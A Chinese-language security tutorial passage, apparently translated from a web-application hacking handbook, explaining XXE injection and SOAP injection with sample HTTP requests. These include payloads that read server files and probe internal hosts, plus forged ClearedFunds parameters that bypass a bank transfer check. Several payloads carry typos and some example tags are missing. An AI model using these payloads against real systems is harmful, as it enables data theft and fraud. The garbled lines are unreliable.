注入XML解释器

注入XML解释器

今天的Web应用程序大量使用XML,在浏览器与前端应用程序服务器之间传送的请求和响应,以及在后端应用程序组件(如SOAP服务)之间传送的消息中都可以找到XML。如果使用专门设计的输入破坏应用程序的运行并执行某些未授权的操作,这些位置就易于受到各种攻击。

注入XML外部实体

在今天的Web应用程序中,XML常用于从客户端向服务器提交数据。然后,服务器端应用程序将处理这些数据,并且可能会返回一个包含XML或任何其他格式数据的响应。在使用异步请求在后台进行通行的基于Ajax的应用程序中,这种行为最为常见。浏览器扩展组件和其他客户端技术也可能会用到XML。

以一个使用Ajax实现的、提供无缝用户体验的搜索功能为例。在用户输入搜索词时,客户端脚本将向服务器提出以下请求:

1
2
3
4
5
6
POST /search/128/AjaxSearch.ashx HTTP/1.1
Host: mdsec.net
Content-Type: text/html; charset=UTF-8
Content-Legth: 44

<Search><SearchTerm>nothing will change</SearchTerm></Search>

服务器的响应如下所示(无论响应采用什么格式,其中都可能存在漏洞):

1
2
3
4
5
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 81

<Search><SearchResult>No results found for expression: nothing will change</SearchResult></Search>

客户端脚本将响应该处理,并用搜索结果对用户界面进行更新。

如果遇到这类类型的功能,应当始终检查其是存在XML外部实体(XXE)注入漏洞。之所以会出现这种漏洞,是因为标准的XML解析库支持使用实体引用。这些引用仅仅是在XML文档内部或外部引用数据的一种方法。

XML格式允许在XML文档中定义定制实体。这些实体在文档的开始部分的可选DOCTYPE元素中定义,例如:

1
<!DOCTYPE foo[ <!ENTITY testref "testrefvalue" > ]>

如果文档中包含以上定义,解析器将用testrefvalue这个已定义的值替代文档中出现在任何&testref;实体引用。

此外,XML规范允许使用外部引用来定义实体,XML解析器将动态提取这些实体的值。这些外部实体定义采用URL格式,并可以引用外部Web URL或本地文件系统上的资源。XML解析器将提取指定URL或文件的内容并将其作为已定义实体的值。如果应用程序在其响应中返回任何使用外部定义的实体的XML数据,则指定文件或URL的内容将在该响应中返回。

攻击者可以通过向XML添加适当的DOCTYPE元素,或通过修改该元素(如果它已经存在),在基于XML的请求中指定外部实体。外部实体引用使用SYSTEM关键字来指定,并使用URL(可能使用file:协议)进行定义。

在前一个示例中,攻击者可以提交以下请求(该请求定义一个引用服务器文件系统上的文件的XML外部实体):

1
2
3
4
5
6
7
POST /search/128/AjaxSearch.ashx HTTP/1.1
Host: mdsec.net
Content-Type: text/html; charset=UTF-8
Content-Legth: 44

<!DCOTYPE foo [ <!ENTITY xxe SYSTEM "file:///windows/win.ini" > ]>
<Search><SearchTerm>&xxe;</SearchTerm></Search>

收到这个请求后,XML解析器将提取指定文件的内容,并使用该内容来替代已定义的实体引用(攻击者已经在SearchTerm元素中使用了该实体引用)。由于SearchTerm元素的值会在应用程序的响应中辉县,这回导致服务器以该文件的内容作出响应。

1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 556

<Search><SearchResult>No results found for expression: ; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
...
</SearchResult></Search>

除使用file:协议来指定本地文件系统上的资源外,攻击者还可以使用http:等协议让服务器通过网络提取资源。这些URL可以指定任意主机、IP地址和端口。攻击者可以利用它们与后端系统上无法通过因特网直接访问的网络服务器进行交互。例如,以下攻击尝试连接到在专用IP地址192.168.1.1的端口25上运行的邮件服务器:

1
2
<!DCOTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.1" > ]>
<Search><SearchTerm>&xxe;</SearchTerm></Search>

通过这种技巧可以实施各种攻击,如下所示:

  • 攻击者可以将应用程序作为代理服务器使用,从应用程序能够访问的任何Web服务器上检索敏感内容,包括哪些在组织内部的专用非路由地址空间运行的内容。
  • 攻击者可以利用后端Web应用程序中的漏洞,只要这些漏洞可以通过URL加以利用。
  • 攻击者可以通过攻击大量IP地址和端口号,对后端系统上的开放端口进行测试。在某些情况下,可以使用实践性差异来推断所请求的端口的状态。其他时候,应用程序可能会在响应中返回某些服务的服务标题

最后,如果应用程序检索外部实体,但并不在响应中返回该实体,则攻击者仍然可以通过无限期地读取某个文件流,从而实施拒绝服务攻击。

1
<!DCOTYPE foo [ <!ENTITY xxe SYSTEM "file:/// /dev/random" > ]>

注入SOAP

SOAP(Simple Object Access Protocol, 简单对象访问协议)是一种使用XML格式封装数据,基于消息的通信技术。各种在不同操作系统和架构上运行的系统也使用它来共享信息和传递消息。它主要用在Web服务器中;通过浏览器访问的Web应用程序常常使用SOAP在后端应用程序组件之间进行通信。

由不同计算机执行单项任务以提高性能的大型企业应用程序经常使用SOAP。采用Web应用程序作为现有应用程序前段的情况也经常可以见到SOAP的身影。这时,应用程序通常使用SOAP在不同组件之间通信,以确保模块性和互用性。

由于XML是一种解释型语言,因此,和前面的描述的其他示例一样,SOAP也易于受到代码注入攻击,XML元素通过元字符<,>和/以语法形式表示。如果用户提交的数据中包含这些字符,并被直接插入到SOAP消息中,攻击者就能够破坏消息的结构,进而破坏应用程序的逻辑或造成其他不利影响。以一个银行应用程序为例,一名用户正使用下面的HTTP请求进行转账:

1
2
3
4
5
POST /bank/27/Default.ashx HTTP/1.0
HOST: mdsec.net
Content-Lenght: 65

FromAccount=18281008&Amount=1430&ToAccount08447656&Submit-Submit

在处理这个请求的过程中,应用程序在两个后端组件之间传送下面的SOAP消息:

1
2
3
4
5
6
7
8
9
10
11
12
<soap:Envelop xmlns:soap="http://www/w3/org/2001/12/soap-envelope">
<soap:Body>
<pre:Add xmlns:pre=http:..target/lists soap:encodingStype="http://www.w3.org/2001/12/soap-encoding">
<Account>
<FromAccount>18281008</FromAccount>
<Amount>1430</Amount>
<ClearedFunds>False</ClearedFunds>
<ToAccount>08447656</ToAccount>
</Account>
</pre:Add>
</soap:Body>
</soap:Envelop>

注意消息中的XML元素如何与HTTP请求中的参数对应起来,以及应用程序如何添加ClearedFunds元素。这时,应用程序逻辑确定账户中没有足够的资金进行转账,并将这个元素ClearedFunds的值设置为False,因此受到SOAP消息的组件将拒绝转账。

在这种情况下,攻击者可以通过各种方法注入SOAP消息,从而破坏应用程序的逻辑。例如,提交下面的请求会在最初的元素之前插入另外一个ClearedFunds元素(同时保持SQL语法的有效性)。如果应用程序处理它遇到的第一个ClearedFunds元素,那么即使账户中没有资金,也可以成功进行转账。

1
2
3
4
5
POST /bank/27/Default.ashx HTTP/1.0
HOST: mdsec.net
Content-Lenght: 65

FromAccount=18281008&Amount=1430</Amount><ClearedFunds>True<Amount></ClearedFunds>&ToAccount08447656&Submit-Submit

另一方面,如果应用程序处理它遇到的后一个ClearedFunds元素,攻击者就可以在ToAccount参数中注入一个类似的攻击。

另一种类型的攻击时使用XML注释完全删除原始SOAP消息中的一个元素,并用攻击者自己设计的元素代替被删除的元素。例如,下面的请求通过Amount参数注入一个ClearedFunds元素,为ToAccount元素建立一个起始标签,开始一段注释,并在ToAccount参数中结束注释,从而保持XML语法的有效性:

1
2
3
4
5
POST /bank/27/Default.ashx HTTP/1.0
HOST: mdsec.net
Content-Lenght: 65

FromAccount=18281008&Amount=1430</Amount><ClearedFunds>True</ClearedFunds><ToAccount><!--&ToAccount=-->08447656&Submit-Submit

另一种攻击是尝试在一个注入的参数内完成整个SOAP消息,并将消息的剩余部分注释掉。但是,由于没有结束注释与起始注释相匹配,这种攻击会生成完全错误的XML语法,从而被许多XML解析器拒绝。这种攻击并不能在所有XML解析库中起作用,它只对定制或自主研发的XML解析器奏效。

1
2
3
4
5
6
7
8
9
POST /bank/27/Default.ashx HTTP/1.0
HOST: mdsec.net
Content-Lenght: 65

FromAccount=18281008&Amount=1430</Amount><ClearedFunds>True
</ClearedFunds>
<ToAccount>08447656</ToAccount></Account></pre:Add></soap:body>
</soap:Envelope>
<!--&Submit-Submit

查找并利用SOAP注入

SOAP注入可能很难发现,因为随意提交XML元字符会破坏SOAP消息的格式,而且这样做生成的错误消息也及其简单。但是,使用下面的步骤依然可以相对可靠地检测出SOAP注入漏洞。

  1. 轮流在每个参数中提交一个恶意XML结束标签,如。如果没有发生错误,那么输入可能没有插入到SOAP消息中,或者以某种方式被净化了。

  2. 如果出现错误,提交一堆有效的起始与结束标签,如。如果这对标签使错误消失,那么应用程序可能易于受到攻击。

  3. 有些时候,插入到XML格式消息中的数据随后以XML格式被读取并返回给用户。如果修改的数据项在应用程序的响应中返回,看看提交任意XML内容是否以相同的形式返回,或者已通过某种方式被规范化。轮流提交下面两个值:

    test

    test

    如果发现其中一个值的返回结果为另一个值,或者只返回test,那么可以确信输入被插入到了XML消息中。

  4. 如果HTTP请求中包含几个可放入SOAP消息的参数,尝试在一个参数中插入起始注释字符/<!–,在另一个参数中插入结束注释字符!–/>。然后,轮换在参数中插入这两个字符。这样做可能会把服务器SOAP消息中的某个部分作为注释处理,从而改变应用程序的逻辑,或者形成一个可造成信息泄露的不同错误条件。

如果SOAP注入很难发现,就更难对其加以利用。许多时候,需要知道数据周围的XML的结构,以提交专门设计的输入,修改消息内容而不致破坏它的结构。在前面描述的所有测试中寻找任何揭示SOAP消息处理细节的错误消息。幸运的话,一条详细的错误消息将透露SOAP消息的完整内容,允许构建专门设计的值查找相关漏洞。如果不够幸运,就只能纯粹猜测,这样攻击成功的几率就非常低。

防止SOAP注入

我们可以在用户提交的数据被插入SOAP消息中的任何位置实施边界确认过滤,以防止SOAP注入。需要进行过滤的数据包括用户在当前请求中直接提交的数据,以及在前面请求中已经存在或由以用户数据位输入的其他处理过程生成的数据。

为防止上述攻击,应用程序应对出现在用户输入中的任何XML元字符进行HTML编码。HTML编码包含用对应的HTML实体替代字面量字符。这样做可确保XML解释器在进行处理时,把它们当做相关元素的数据值,而不是消息结构的一部分。一些进场造成问题的字符的HTML编码如下:

  • < - &lt
  • > - &gt
  • / - &#47
0%